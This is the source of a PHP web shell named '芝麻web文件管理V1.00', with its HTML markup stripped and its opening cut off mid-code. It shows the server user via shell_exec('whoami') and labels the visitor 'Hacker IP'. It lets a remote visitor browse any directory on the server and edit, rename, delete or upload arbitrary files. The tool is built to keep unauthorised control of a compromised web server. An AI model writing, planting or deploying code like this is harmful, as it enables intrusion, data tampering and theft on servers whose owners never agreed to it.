芝麻web文件管理V1.00
rfesarfwe
';
exit();
}
}
// Get current directory and handle navigation
$current_dir = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$current_dir || !is_dir($current_dir)) {
$current_dir = getcwd();
}
chdir($current_dir); // Change to the current directory
// Breadcrumb-style clickable Pwd
function getBreadcrumbPath($path) {
$parts = explode(DIRECTORY_SEPARATOR, $path);
$breadcrumb = "";
$full_path = "";
foreach ($parts as $part) {
if ($part === "") continue; // Skip empty parts for the root
$full_path .= DIRECTORY_SEPARATOR . $part;
$breadcrumb .= "
$part" . DIRECTORY_SEPARATOR;
}
return $breadcrumb;
}
// Display system information
echo "
Server Info:
";
echo "Server IP: " . $_SERVER['SERVER_ADDR'] . "
"; // Server's IP Address
echo "Hacker IP: " . $_SERVER['REMOTE_ADDR'] . "
"; // Visitor/Hacker's IP Address
echo "User: " . trim(shell_exec('whoami')) . "
"; // Current user (whoami)
echo "Pwd: " . getBreadcrumbPath($current_dir) . "
"; // Clickable breadcrumb Pwd
// File Explorer Layout
echo "
File Explorer:
";
$files = scandir($current_dir);
foreach ($files as $file) {
// Skip current and parent directory references
if ($file === ".") continue;
// Determine if it's a directory or file
$file_path = realpath($file);
$is_dir = is_dir($file_path);
// Format output for directories and files
$file_name = $is_dir ? "
$file" : "
$file";
$actions = "[
Delete] [
Edit] [
Rename]";
// Display file or directory with actions
echo "$file_name $actions
";
}
// File Editing
if (isset($_GET['edit'])) {
$file_to_edit = realpath($_GET['edit']);
if (is_file($file_to_edit)) {
$content = htmlspecialchars(file_get_contents($file_to_edit));
echo "
Editing '$file_to_edit':
";
echo "
";
}
}
// Save edited file
if (isset($_POST['file_content']) && isset($_POST['edit_file'])) {
file_put_contents($_POST['edit_file'], $_POST['file_content']);
echo "File saved!";
}
// File Renaming
if (isset($_GET['rename'])) {
$file_to_rename = realpath($_GET['rename']);
echo "
Renaming '$file_to_rename':
";
echo "
";
}
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
$old_name = $_POST['rename_old'];
$new_name = dirname($old_name) . DIRECTORY_SEPARATOR . $_POST['rename_new'];
if (rename($old_name, $new_name)) {
echo "Renamed '$old_name' to '$new_name'.
";
} else {
echo "Failed to rename '$old_name'.
";
}
}
// File Deletion
if (isset($_GET['delete'])) {
$file_to_delete = realpath($_GET['delete']);
if (unlink($file_to_delete)) {
echo "File '$file_to_delete' deleted successfully.
";
} else {
echo "Failed to delete '$file_to_delete'.
";
}
}
// Upload Form
echo "
Upload a File:
";
echo "
";
// File Upload Handler
if (isset($_FILES['upload'])) {
$target_path = basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
echo "File " . basename($_FILES['upload']['name']) . " uploaded successfully.
";
} else {
echo "Upload failed.
";
}
}
?>